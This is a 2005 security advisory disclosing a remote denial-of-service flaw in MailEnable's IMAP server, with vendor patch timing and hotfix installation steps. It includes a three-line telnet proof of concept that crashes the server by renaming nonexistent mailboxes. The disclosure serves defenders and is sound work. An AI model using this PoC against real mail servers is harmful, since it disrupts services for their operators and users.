Synopsis: MailEnable Imap Remote DOS.

Product: MailEnable Pro
          MailEnable Enterprise
          http://www.mailenable.com

Version: Confirmed on MailEnable Pro 1.7 and MailEnable Enterprise 1.1

Author: Josh Zlatin-Amishav

Date: November 24, 2005

Background:
MailEnable's mail server software provides a powerful, scalable hosted 
messaging platform for Microsoft Windows. MailEnable offers stability, 
unsurpassed flexibility and an extensive feature set which allows you to 
provide cost-effective mail services.

Issue:
In working with researchers at Tenable Network Security, I have come across
a Denial of Service attack in the MailEnable Pro and MailEnable Enterprise
IMAP server. It is possible to remotely crash the IMAP server by sending a 
rename request with non existant mailbox names

PoC:
telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox.

Vendor notified: November 24, 2005 10:50AM
Patch released:  November 24, 2005 13:28PM

Solution:
Download patch from: http://www.mailenable.com/hotfix/MEIMAPS.ZIP

To install:
1) Stop the IMAP service
2) Rename the MEIMAPS.EXE file in the Mail Enable\bin directory as this will
    allow you to roll back this fix
3) Extract the zip file from the URL above to the Mail Enable\bin directory
4) Start the IMAP service

References: http://zur.homelinux.com/Advisories/MailEnableImapDos.txt